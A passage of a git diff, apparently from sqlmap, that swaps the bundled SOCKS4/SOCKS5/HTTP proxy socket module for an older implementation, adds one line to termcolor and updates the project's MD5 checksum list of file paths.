socket.SOCK_DGRAM: - return self.sendto(bytes, flags, self.proxy_peername, **kwargs) + # First we'll send the authentication packages we support. + if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): + # The username/password details were supplied to the + # setproxy method so we support the USERNAME/PASSWORD + # authentication (in addition to the standard none). + self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) else: - return _BaseSocket.send(self, bytes, flags, **kwargs) - - def recvfrom(self, bufsize, flags=0): - if self.type != socket.SOCK_DGRAM: - return _BaseSocket.recvfrom(self, bufsize, flags) - if not self._proxyconn: - self.bind(("", 0)) - - buf = BytesIO(_BaseSocket.recv(self, bufsize, flags)) - buf.seek(+2, SEEK_CUR) - frag = buf.read(1) - if ord(frag): - raise NotImplementedError("Received UDP packet fragment") - fromhost, fromport = self._read_SOCKS5_address(buf) - - if self.proxy_peername: - peerhost, peerport = self.proxy_peername - if fromhost != peerhost or peerport not in (0, fromport): - raise socket.error(EAGAIN, "Packet filtered") - - return (buf.read(), (fromhost, fromport)) - - def recv(self, *pos, **kw): - bytes, _ = self.recvfrom(*pos, **kw) - return bytes - - def close(self): - if self._proxyconn: - self._proxyconn.close() - return _BaseSocket.close(self) - - def get_proxy_sockname(self): - """ + # No username/password were entered, therefore we + # only support connections with no authentication. + self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) + # We'll receive the server's response to determine which + # method was selected + chosenauth = self.__recvall(2) + if chosenauth[0:1] != chr(0x05).encode(): + self.close() + raise GeneralProxyError((1, _generalerrors[1])) + # Check the chosen authentication method + if chosenauth[1:2] == chr(0x00).encode(): + # No authentication is required + pass + elif chosenauth[1:2] == chr(0x02).encode(): + # Okay, we need to perform a basic username/password + # authentication. + self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) + authstat = self.__recvall(2) + if authstat[0:1] != chr(0x01).encode(): + # Bad response + self.close() + raise GeneralProxyError((1, _generalerrors[1])) + if authstat[1:2] != chr(0x00).encode(): + # Authentication failed + self.close() + raise Socks5AuthError((3, _socks5autherrors[3])) + # Authentication succeeded + else: + # Reaching here is always bad + self.close() + if chosenauth[1] == chr(0xFF).encode(): + raise Socks5AuthError((2, _socks5autherrors[2])) + else: + raise GeneralProxyError((1, _generalerrors[1])) + # Now we can request the actual connection + req = struct.pack('BBB', 0x05, 0x01, 0x00) + # If the given destination address is an IP address, we'll + # use the IPv4 address request even if remote resolving was specified. + try: + ipaddr = socket.inet_aton(destaddr) + req = req + chr(0x01).encode() + ipaddr + except socket.error: + # Well it's not an IP number, so it's probably a DNS name. + if self.__proxy[3]: + # Resolve remotely + ipaddr = None + req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr + else: + # Resolve locally + ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) + req = req + chr(0x01).encode() + ipaddr + req = req + struct.pack(">H", destport) + self.sendall(req) + # Get the response + resp = self.__recvall(4) + if resp[0:1] != chr(0x05).encode(): + self.close() + raise GeneralProxyError((1, _generalerrors[1])) + elif resp[1:2] != chr(0x00).encode(): + # Connection failed + self.close() + if ord(resp[1:2])<=8: + raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) + else: + raise Socks5Error((9, _socks5errors[9])) + # Get the bound address/port + elif resp[3:4] == chr(0x01).encode(): + boundaddr = self.__recvall(4) + elif resp[3:4] == chr(0x03).encode(): + resp = resp + self.recv(1) + boundaddr = self.__recvall(ord(resp[4:5])) + else: + self.close() + raise GeneralProxyError((1,_generalerrors[1])) + boundport = struct.unpack(">H", self.__recvall(2))[0] + self.__proxysockname = (boundaddr, boundport) + if ipaddr != None: + self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) + else: + self.__proxypeername = (destaddr, destport) + + def getproxysockname(self): + """getsockname() -> address info Returns the bound IP address and port number at the proxy. """ - return self.proxy_sockname + return self.__proxysockname - getproxysockname = get_proxy_sockname - - def get_proxy_peername(self): - """ + def getproxypeername(self): + """getproxypeername() -> address info Returns the IP and port number of the proxy. """ - return _BaseSocket.getpeername(self) + return _orgsocket.getpeername(self) - getproxypeername = get_proxy_peername - - def get_peername(self): - """ + def getpeername(self): + """getpeername() -> address info Returns the IP address and port number of the destination - machine (note: get_proxy_peername returns the proxy) - """ - return self.proxy_peername - - getpeername = get_peername - - def _negotiate_SOCKS5(self, *dest_addr): - """ - Negotiates a stream connection through a SOCKS5 server. - """ - CONNECT = b"\x01" - self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(self, - CONNECT, dest_addr) - - def _SOCKS5_request(self, conn, cmd, dst): - """ - Send SOCKS5 request with given command (CMD field) and - address (DST field). Returns resolved DST address that was used. + machine (note: getproxypeername returns the proxy) """ - proxy_type, addr, port, rdns, username, password = self.proxy + return self.__proxypeername - writer = conn.makefile("wb") - reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 - try: - # First we'll send the authentication packages we support. - if username and password: - # The username/password details were supplied to the - # set_proxy method so we support the USERNAME/PASSWORD - # authentication (in addition to the standard none). - writer.write(b"\x05\x02\x00\x02") - else: - # No username/password were entered, therefore we - # only support connections with no authentication. - writer.write(b"\x05\x01\x00") - - # We'll receive the server's response to determine which - # method was selected - writer.flush() - chosen_auth = self._readall(reader, 2) - - if chosen_auth[0:1] != b"\x05": - # Note: string[i:i+1] is used because indexing of a bytestring - # via bytestring[i] yields an integer in Python 3 - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - # Check the chosen authentication method - - if chosen_auth[1:2] == b"\x02": - # Okay, we need to perform a basic username/password - # authentication. - writer.write(b"\x01" + chr(len(username)).encode() - + username - + chr(len(password)).encode() - + password) - writer.flush() - auth_status = self._readall(reader, 2) - if auth_status[0:1] != b"\x01": - # Bad response - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - if auth_status[1:2] != b"\x00": - # Authentication failed - raise SOCKS5AuthError("SOCKS5 authentication failed") - - # Otherwise, authentication succeeded - - # No authentication is required if 0x00 - elif chosen_auth[1:2] != b"\x00": - # Reaching here is always bad - if chosen_auth[1:2] == b"\xFF": - raise SOCKS5AuthError("All offered SOCKS5 authentication methods were rejected") - else: - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - # Now we can request the actual connection - writer.write(b"\x05" + cmd + b"\x00") - resolved = self._write_SOCKS5_address(dst, writer) - writer.flush() - - # Get the response - resp = self._readall(reader, 3) - if resp[0:1] != b"\x05": - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - status = ord(resp[1:2]) - if status != 0x00: - # Connection failed: server returned an error - error = SOCKS5_ERRORS.get(status, "Unknown error") - raise SOCKS5Error("{0:#04x}: {1}".format(status, error)) - - # Get the bound address/port - bnd = self._read_SOCKS5_address(reader) - return (resolved, bnd) - finally: - reader.close() - writer.close() - - def _write_SOCKS5_address(self, addr, file): - """ - Return the host and port packed for the SOCKS5 protocol, - and the resolved address as a tuple object. - """ - host, port = addr - proxy_type, _, _, rdns, username, password = self.proxy - family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} - - # If the given destination address is an IP address, we'll - # use the IP address request even if remote resolving was specified. - # Detect whether the address is IPv4/6 directly. - for family in (socket.AF_INET, socket.AF_INET6): - try: - addr_bytes = socket.inet_pton(family, host) - file.write(family_to_byte[family] + addr_bytes) - host = socket.inet_ntop(family, addr_bytes) - file.write(struct.pack(">H", port)) - return host, port - except socket.error: - continue - - # Well it's not an IP number, so it's probably a DNS name. - if rdns: - # Resolve remotely - host_bytes = host.encode('idna') - file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) - else: - # Resolve locally - addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_ADDRCONFIG) - # We can't really work out what IP is reachable, so just pick the - # first. - target_addr = addresses[0] - family = target_addr[0] - host = target_addr[4][0] - - addr_bytes = socket.inet_pton(family, host) - file.write(family_to_byte[family] + addr_bytes) - host = socket.inet_ntop(family, addr_bytes) - file.write(struct.pack(">H", port)) - return host, port - - def _read_SOCKS5_address(self, file): - atyp = self._readall(file, 1) - if atyp == b"\x01": - addr = socket.inet_ntoa(self._readall(file, 4)) - elif atyp == b"\x03": - length = self._readall(file, 1) - addr = self._readall(file, ord(length)) - elif atyp == b"\x04": - addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) - else: - raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - - port = struct.unpack(">H", self._readall(file, 2))[0] - return addr, port - - def _negotiate_SOCKS4(self, dest_addr, dest_port): - """ + def __negotiatesocks4(self,destaddr,destport): + """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ - proxy_type, addr, port, rdns, username, password = self.proxy - - writer = self.makefile("wb") - reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 + # Check if the destination address provided is an IP address + rmtrslv = False try: - # Check if the destination address provided is an IP address - remote_resolve = False - try: - addr_bytes = socket.inet_aton(dest_addr) - except socket.error: - # It's a DNS name. Check where it should be resolved. - if rdns: - addr_bytes = b"\x00\x00\x00\x01" - remote_resolve = True - else: - addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr)) - - # Construct the request packet - writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) - writer.write(addr_bytes) - - # The username parameter is considered userid for SOCKS4 - if username: - writer.write(username) - writer.write(b"\x00") - - # DNS name if remote resolving is required - # NOTE: This is actually an extension to the SOCKS4 protocol - # called SOCKS4A and may not be supported in all cases. - if remote_resolve: - writer.write(dest_addr.encode('idna') + b"\x00") - writer.flush() - - # Get the response from the server - resp = self._readall(reader, 8) - if resp[0:1] != b"\x00": - # Bad data - raise GeneralProxyError("SOCKS4 proxy server sent invalid data") - - status = ord(resp[1:2]) - if status != 0x5A: - # Connection failed: server returned an error - error = SOCKS4_ERRORS.get(status, "Unknown error") - raise SOCKS4Error("{0:#04x}: {1}".format(status, error)) - - # Get the bound address/port - self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) - if remote_resolve: - self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port + ipaddr = socket.inet_aton(destaddr) + except socket.error: + # It's a DNS name. Check where it should be resolved. + if self.__proxy[3]: + ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) + rmtrslv = True else: - self.proxy_peername = dest_addr, dest_port - finally: - reader.close() - writer.close() + ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) + # Construct the request packet + req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr + # The username parameter is considered userid for SOCKS4 + if self.__proxy[4] != None: + req = req + self.__proxy[4] + req = req + chr(0x00).encode() + # DNS name if remote resolving is required + # NOTE: This is actually an extension to the SOCKS4 protocol + # called SOCKS4A and may not be supported in all cases. + if rmtrslv: + req = req + destaddr + chr(0x00).encode() + self.sendall(req) + # Get the response from the server + resp = self.__recvall(8) + if resp[0:1] != chr(0x00).encode(): + # Bad data + self.close() + raise GeneralProxyError((1,_generalerrors[1])) + if resp[1:2] != chr(0x5A).encode(): + # Server returned an error + self.close() + if ord(resp[1:2]) in (91, 92, 93): + self.close() + raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) + else: + raise Socks4Error((94, _socks4errors[4])) + # Get the bound address/port + self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) + if rmtrslv != None: + self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) + else: + self.__proxypeername = (destaddr, destport) - def _negotiate_HTTP(self, dest_addr, dest_port): - """ + def __negotiatehttp(self, destaddr, destport): + """__negotiatehttp(self,destaddr,destport) Negotiates a connection through an HTTP server. - NOTE: This currently only supports HTTP CONNECT-style proxies. """ - proxy_type, addr, port, rdns, username, password = self.proxy - # If we need to resolve locally, we do this now - addr = dest_addr if rdns else socket.gethostbyname(dest_addr) - - http_headers = [ - b"CONNECT " + addr.encode('idna') + b":" + str(dest_port).encode() + b" HTTP/1.1", - b"Host: " + dest_addr.encode('idna') - ] - - if username and password: - http_headers.append(b"Proxy-Authorization: basic " + b64encode(username + b":" + password)) - - http_headers.append(b"\r\n") - - self.sendall(b"\r\n".join(http_headers)) - - # We just need the first line to check if the connection was successful - fobj = self.makefile() - status_line = fobj.readline() - fobj.close() - - if not status_line: - raise GeneralProxyError("Connection closed unexpectedly") - - try: - proto, status_code, status_msg = status_line.split(" ", 2) - except ValueError: - raise GeneralProxyError("HTTP proxy server sent invalid response") - - if not proto.startswith("HTTP/"): - raise GeneralProxyError("Proxy server does not appear to be an HTTP proxy") - + if not self.__proxy[3]: + addr = socket.gethostbyname(destaddr) + else: + addr = destaddr + self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) + # We read the response until we get the string "\r\n\r\n" + resp = self.recv(1) + while resp.find("\r\n\r\n".encode()) == -1: + resp = resp + self.recv(1) + # We just need the first line to check if the connection + # was successful + statusline = resp.splitlines()[0].split(" ".encode(), 2) + if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): + self.close() + raise GeneralProxyError((1, _generalerrors[1])) try: - status_code = int(status_code) + statuscode = int(statusline[1]) except ValueError: - raise HTTPError("HTTP proxy server did not return a valid HTTP status") - - if status_code != 200: - error = "{0}: {1}".format(status_code, status_msg) - if status_code in (400, 403, 405): - # It's likely that the HTTP proxy server does not support the CONNECT tunneling method - error += ("\n[*] Note: The HTTP proxy server may not be supported by PySocks" - " (must be a CONNECT tunnel proxy)") - raise HTTPError(error) - - self.proxy_sockname = (b"0.0.0.0", 0) - self.proxy_peername = addr, dest_port - - _proxy_negotiators = { - SOCKS4: _negotiate_SOCKS4, - SOCKS5: _negotiate_SOCKS5, - HTTP: _negotiate_HTTP - } - + self.close() + raise GeneralProxyError((1, _generalerrors[1])) + if statuscode != 200: + self.close() + raise HTTPError((statuscode, statusline[2])) + self.__proxysockname = ("0.0.0.0", 0) + self.__proxypeername = (addr, destport) - def connect(self, dest_pair): - """ + def connect(self, destpair): + """connect(self, despair) Connects to the specified destination through a proxy. - Uses the same API as socket's connect(). - To select the proxy server, use set_proxy(). - - dest_pair - 2-tuple of (IP/hostname, port). + destpar - A tuple of the IP/DNS address and the port number. + (identical to socket's connect). + To select the proxy server use setproxy(). """ - if len(dest_pair) != 2 or dest_pair[0].startswith("["): - # Probably IPv6, not supported -- raise an error, and hope - # Happy Eyeballs (RFC6555) makes sure at least the IPv4 - # connection works... - raise socket.error("PySocks doesn't support IPv6") - - dest_addr, dest_port = dest_pair - - if self.type == socket.SOCK_DGRAM: - if not self._proxyconn: - self.bind(("", 0)) - dest_addr = socket.gethostbyname(dest_addr) - - # If the host address is INADDR_ANY or similar, reset the peer - # address so that packets are received from any peer - if dest_addr == "0.0.0.0" and not dest_port: - self.proxy_peername = None - else: - self.proxy_peername = (dest_addr, dest_port) - return - - proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy - # Do a minimal input check first - if (not isinstance(dest_pair, (list, tuple)) - or len(dest_pair) != 2 - or not dest_addr - or not isinstance(dest_port, int)): - raise GeneralProxyError("Invalid destination-connection (host, port) pair") - - - if proxy_type is None: - # Treat like regular socket object - self.proxy_peername = dest_pair - _BaseSocket.connect(self, (dest_addr, dest_port)) - return - - proxy_addr = self._proxy_addr() - - try: - # Initial connection to proxy server - _BaseSocket.connect(self, proxy_addr) - - except socket.error as error: - # Error while connecting to proxy - self.close() - proxy_addr, proxy_port = proxy_addr - proxy_server = "{0}:{1}".format(proxy_addr, proxy_port) - printable_type = PRINTABLE_PROXY_TYPES[proxy_type] - - msg = "Error connecting to {0} proxy {1}".format(printable_type, - proxy_server) - raise ProxyConnectionError(msg, error) - + if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): + raise GeneralProxyError((5, _generalerrors[5])) + if self.__proxy[0] == PROXY_TYPE_SOCKS5: + if self.__proxy[2] != None: + portnum = self.__proxy[2] + else: + portnum = 1080 + _orgsocket.connect(self, (self.__proxy[1], portnum)) + self.__negotiatesocks5(destpair[0], destpair[1]) + elif self.__proxy[0] == PROXY_TYPE_SOCKS4: + if self.__proxy[2] != None: + portnum = self.__proxy[2] + else: + portnum = 1080 + _orgsocket.connect(self,(self.__proxy[1], portnum)) + self.__negotiatesocks4(destpair[0], destpair[1]) + elif self.__proxy[0] == PROXY_TYPE_HTTP: + if self.__proxy[2] != None: + portnum = self.__proxy[2] + else: + portnum = 8080 + _orgsocket.connect(self,(self.__proxy[1], portnum)) + self.__negotiatehttp(destpair[0], destpair[1]) + elif self.__proxy[0] == None: + _orgsocket.connect(self, (destpair[0], destpair[1])) else: - # Connected to proxy server, now negotiate - try: - # Calls negotiate_{SOCKS4, SOCKS5, HTTP} - negotiate = self._proxy_negotiators[proxy_type] - negotiate(self, dest_addr, dest_port) - except socket.error as error: - # Wrap socket errors - self.close() - raise GeneralProxyError("Socket error", error) - except ProxyError: - # Protocol error while negotiating with proxy - self.close() - raise - - def _proxy_addr(self): - """ - Return proxy address to connect to as tuple object - """ - proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy - proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) - if not proxy_port: - raise GeneralProxyError("Invalid proxy type") - return proxy_addr, proxy_port + raise GeneralProxyError((4, _generalerrors[4])) + +def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, + source_address=None): + # Patched for a DNS-leakage + host, port = address + sock = None + try: + sock = socksocket(socket.AF_INET, socket.SOCK_STREAM) + if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: + sock.settimeout(timeout) + if source_address: + sock.bind(source_address) + sock.connect(address) + except socket.error: + if sock is not None: + sock.close() + raise + return sock diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py index f11b824b287..bac57f28a97 100644 --- a/thirdparty/termcolor/termcolor.py +++ b/thirdparty/termcolor/termcolor.py @@ -79,6 +79,8 @@ )) ) +COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) + RESET = '\033[0m' diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 56fec0b03d3..47d6c96cc4a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -1,287 +1,298 @@ -4cb52d99ae953f04fb0f17825b0dabc4 extra/beep/beep.py -1e5532ede194ac9c083891c2f02bca93 extra/beep/__init__.py -b0eb597c613afeff9d62898cf4c67a56 extra/cloak/cloak.py -1e5532ede194ac9c083891c2f02bca93 extra/cloak/__init__.py -e0911386106b95d2ba4b12d651b2eb16 extra/dbgtool/dbgtool.py -1e5532ede194ac9c083891c2f02bca93 extra/dbgtool/__init__.py +3d37032b2bd62ee37bd61c5b7ad31ab4 extra/beep/beep.py +fb6be55d21a70765e35549af2484f762 extra/beep/__init__.py +ed51a485d1badc99267f0d136bfb2a12 extra/cloak/cloak.py +fb6be55d21a70765e35549af2484f762 extra/cloak/__init__.py +6baecbea87de0a56f99e59bfe982ebc5 extra/dbgtool/dbgtool.py +fb6be55d21a70765e35549af2484f762 extra/dbgtool/__init__.py acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ -2176d964f2d5ba2d871383d6a1868b8f extra/icmpsh/icmpsh_m.py +708e9fd35dabcbfcd10e91bbc14f091f extra/icmpsh/icmpsh_m.py 2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py -1e5532ede194ac9c083891c2f02bca93 extra/__init__.py -27629e01ba722271c990ad4b27151917 extra/mssqlsig/update.py +fb6be55d21a70765e35549af2484f762 extra/__init__.py ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ -1e5532ede194ac9c083891c2f02bca93 extra/safe2bin/__init__.py -b6c0f2047e9bea90f4d5c5806c0f6a9a extra/safe2bin/safe2bin.py +fb6be55d21a70765e35549af2484f762 extra/safe2bin/__init__.py +f372fef397ba41ea54334c16ebe646b2 extra/safe2bin/safe2bin.py d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_ 2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_ c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -220745c50d375dad7aefebf8ca3611ef extra/shutils/duplicates.py +d1bf28af13f1017f4007f29ea86afd25 extra/shutils/duplicates.py +e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py 71b9d4357c31db013ecda27433830090 extra/shutils/pylint.py -c88d66597f4aab719bde4542b0a1a6e0 extra/shutils/regressiontest.py -1e5532ede194ac9c083891c2f02bca93 extra/sqlharvest/__init__.py -b3e60ea4e18a65c48515d04aab28ff68 extra/sqlharvest/sqlharvest.py -0f581182871148b0456a691ae85b04c0 lib/controller/action.py -43cbf0f72f57279c6f65d531241e962c lib/controller/checks.py -ccd66880fc677a3c83db2a3a70d196d7 lib/controller/controller.py -a7b0c8e5a18a3abe8803999dcfc4664f lib/controller/handler.py -1e5532ede194ac9c083891c2f02bca93 lib/controller/__init__.py -e3a3f5218b2e52dd0afafdfc9fed2002 lib/core/agent.py -62fade52c1524364e6e0653c31143a9c lib/core/bigarray.py -787f1b610fec311c8ed26a1a36993fae lib/core/common.py -2a40d5b5997265daa890545d4a4a59b9 lib/core/convert.py -9f87391b6a3395f7f50830b391264f27 lib/core/data.py -72016ea5c994a711a262fd64572a0fcd lib/core/datatype.py -12e80071013606f01822c3823fb51054 lib/core/decorators.py -9458679feb9184f3fb1611daf1ebef63 lib/core/defaults.py -a8bea09096a42a9a7feeb9d4d118ae66 lib/core/dicts.py -1a94690d60ed792ce441b6f2f4dbbef8 lib/core/dump.py -2ef745b04933855e049ba7fdc98f57b8 lib/core/enums.py -cada93357a7321655927fc9625b3bfec lib/core/exception.py -1e5532ede194ac9c083891c2f02bca93 lib/core/__init__.py -458a194764805cd8312c14ecd4be4d1e lib/core/log.py -9eed2d4d370f375bda5e0c0488740e7f lib/core/optiondict.py -8ca14b6faf28d2e5a2703ed5e7d6cce2 lib/core/option.py -7dadbb9a301d40cc8cd9c7491e99b43d lib/core/profiling.py -ffa5f01f39b17c8d73423acca6cfe86a lib/core/readlineng.py -0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py -a7db43859b61569b601b97f187dd31c5 lib/core/revision.py -fcb74fcc9577523524659ec49e2e964b lib/core/session.py -e5967d7d5119cf82bb78949a40fa0486 lib/core/settings.py -d0adc28a38e43a787df4471f7f027413 lib/core/shell.py -63491be462c515a1a3880c27c2acc4a2 lib/core/subprocessng.py -505aaa61e1bba3c3d4567c3e667699e3 lib/core/target.py -72d499ca8d792e90a1ebfb2ad2341a51 lib/core/testing.py -de9922a29c71a235cb95a916ff925db2 lib/core/threads.py -c40758411bb0bd68764d78e0bb72bd0f lib/core/unescaper.py -35a1b50e3687e1a174073b46c8022c81 lib/core/update.py -fc624104ddb36d41794b7a943fde5f21 lib/core/wordlist.py -1e5532ede194ac9c083891c2f02bca93 lib/__init__.py -7620f1f4b8791e13c7184c06b5421754 lib/parse/banner.py -a6912de35b7184e2e8b1fe2510c0c333 lib/parse/cmdline.py -fb2e2f05dde98caeac6ccf3e67192177 lib/parse/configfile.py -3794ff139869f5ae8e81cfdbe5714f56 lib/parse/handler.py -263ee1cec41facd2a06d0dc887b207ad lib/parse/headers.py -33f21b11b7963062df8fa2292229df80 lib/parse/html.py -1e5532ede194ac9c083891c2f02bca93 lib/parse/__init__.py -307d4001682f38dd574548d98c0f1c3e lib/parse/payloads.py -38563853a32dd677ce6c65a0945d7227 lib/parse/sitemap.py -4e60fe7c94bbfa631087ed3426df8ef0 lib/request/basicauthhandler.py -054a83429e2538293175d6a7242f2e63 lib/request/basic.py -c0cabedead14b8a23353b606672cff42 lib/request/comparison.py -a38e09038468387b20e978ce1b885018 lib/request/connect.py -dd4598675027fae99f2e2475b05986da lib/request/direct.py -2044fce3f4ffa268fcfaaf63241b1e64 lib/request/dns.py -a1436e4e4f9b636cb8332f00b686bfd5 lib/request/httpshandler.py -1e5532ede194ac9c083891c2f02bca93 lib/request/__init__.py -bee0a8bec4968406e93281d2b8ad62c8 lib/request/inject.py -aaf956c1e9855836c3f372e29d481393 lib/request/methodrequest.py -51eeaa8abf5ba62aaaade66d46ff8b00 lib/request/pkihandler.py -aa7cb67139bbc57d67a728fd2abf80ed lib/request/rangehandler.py -aa809d825b33bea76a63ecd97cf7792c lib/request/redirecthandler.py -bbfe91128ab3ad65343ed449936a890b lib/request/templates.py -edfd88ee82c2b2a0a762dad1f4eb5253 lib/takeover/abstraction.py -acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py -1e5532ede194ac9c083891c2f02bca93 lib/takeover/__init__.py -703e15714316a8cc4bbe54cdd0a8cb87 lib/takeover/metasploit.py -0fc9b00596df21c8878ef92f513ecad7 lib/takeover/registry.py -48575dde7bb867b7937769f569a98309 lib/takeover/udf.py -1398cb4ee55becf628367854b5310f33 lib/takeover/web.py -d8c10f278e5943b137a222f4cedca59d lib/takeover/xp_cmdshell.py -f6844893afa7569052529e1c8d89bc35 lib/techniques/blind/inference.py -1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py -1e5532ede194ac9c083891c2f02bca93 lib/techniques/dns/__init__.py -855355a1a216f6b267a5f089028f1cd8 lib/techniques/dns/test.py -733f3419ff2ea23f75bc24e36f4746d9 lib/techniques/dns/use.py -1e5532ede194ac9c083891c2f02bca93 lib/techniques/error/__init__.py -627ddc86a5a969e5509c7531c5c27a6c lib/techniques/error/use.py -1e5532ede194ac9c083891c2f02bca93 lib/techniques/__init__.py -1e5532ede194ac9c083891c2f02bca93 lib/techniques/union/__init__.py -c497003ecf231d03a311a816a6b3b753 lib/techniques/union/test.py -6c3c4c7d43ad75e61a73184323a81eac lib/techniques/union/use.py -918d6f34c415c578c2eae8730f555ae8 lib/utils/api.py -37dfb641358669f62c2acedff241348b lib/utils/brute.py -a34c4fd2e7d78c5dfdd9eeccb079fb1c lib/utils/crawler.py -985c737cd8a6a722160c55cf5ee224f4 lib/utils/deps.py -a6d6888e14a7c11f0884c8cc18489caa lib/utils/getch.py -7af29f61302c8693cd6436d4b69e22d3 lib/utils/har.py -9bd8fbfb9c25ee685c97b260331e7165 lib/utils/hashdb.py -578007a75d75a2e510a9ec33f01eeeb0 lib/utils/hash.py -145120b21fcfca843d5e2c8b0562e4db lib/utils/htmlentities.py -1e5532ede194ac9c083891c2f02bca93 lib/utils/__init__.py -010d8327239d33af4ce9f25683cfc012 lib/utils/pivotdumptable.py -5d6d73d27833eef1b10b9215629533ff lib/utils/progress.py -0ec5cec9d93d5ffd1eaeda6e942ecadf lib/utils/purge.py -4a6886d3a0c7bf768df97738fa257de9 lib/utils/search.py -3abe64e696ad75ad28cadf2695a58be8 lib/utils/sqlalchemy.py -dcc25183c6bd85b172c87cfcbc305ab6 lib/utils/timeout.py -e426eae9ddf6a42bcb6b7355e2c2936f lib/utils/versioncheck.py -1e9cf437451ff8147a372a002641b963 lib/utils/xrange.py -b9d2761f47fec3d98b88311a263fd5db plugins/dbms/access/connector.py -3f1c50a1507d1c2f69c20c706230e2e2 plugins/dbms/access/enumeration.py -fcc66fc377db3681f7890ec55675564b plugins/dbms/access/filesystem.py -47a9c7a39ad179b73a9d6f0e1f269f74 plugins/dbms/access/fingerprint.py -e657b1b7a295a38ac9ce515158164f00 plugins/dbms/access/__init__.py -77686d7c7e287d5db0a9a87f2c7d4902 plugins/dbms/access/syntax.py -2f1d8706b51497623b2b59c07b552bdc plugins/dbms/access/takeover.py -0cf941076f4685ec8ac63f57b31a46a6 plugins/dbms/db2/connector.py -0884e475c98701f8e698150aa122fb76 plugins/dbms/db2/enumeration.py -da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/db2/filesystem.py -a660e74854f3c70606f1cc3bc450fbcc plugins/dbms/db2/fingerprint.py -95b35cbd859bbced44e7f8fd84486d75 plugins/dbms/db2/__init__.py -82d96d8fcfd565129580260040555623 plugins/dbms/db2/syntax.py -25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/db2/takeover.py -4a941e7f39dc098ee489eeacc720a8cc plugins/dbms/firebird/connector.py -bc4d71116d7296d63894484f2e60ade2 plugins/dbms/firebird/enumeration.py -c3ca81000200e5ab4210e9bf2e04ce93 plugins/dbms/firebird/filesystem.py -94a86678fd2bf6bff6c3439934f59277 plugins/dbms/firebird/fingerprint.py -d4ea3036492b8ae15340548b2936021f plugins/dbms/firebird/__init__.py -c56f2dabe88fd761a1a9a51e4d104088 plugins/dbms/firebird/syntax.py -1522a29bd4b54ea78bb2855fc32b6c72 plugins/dbms/firebird/takeover.py -61225f674e64bc6eafea140c4cf93deb plugins/dbms/hsqldb/connector.py -95919592e5bb83df00b99bb9e8a70977 plugins/dbms/hsqldb/enumeration.py -616595e74ecb644271cbbd31815d92e0 plugins/dbms/hsqldb/filesystem.py -b207e728934f768732852c1928c38483 plugins/dbms/hsqldb/fingerprint.py -fd369161778d6b48d7f1f7fc14dcdb5c plugins/dbms/hsqldb/__init__.py -4673ebfdce9859718c19e8a7765da8d3 plugins/dbms/hsqldb/syntax.py -7c0535736215ca612756cf589adb249b plugins/dbms/hsqldb/takeover.py -5fca2136204e0ea432cc7a2572244a20 plugins/dbms/informix/connector.py -c54d70e4847c6327bd3110c4d8723b04 plugins/dbms/informix/enumeration.py -da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/informix/filesystem.py -35eac2f3837a72940eb50753dc4566e5 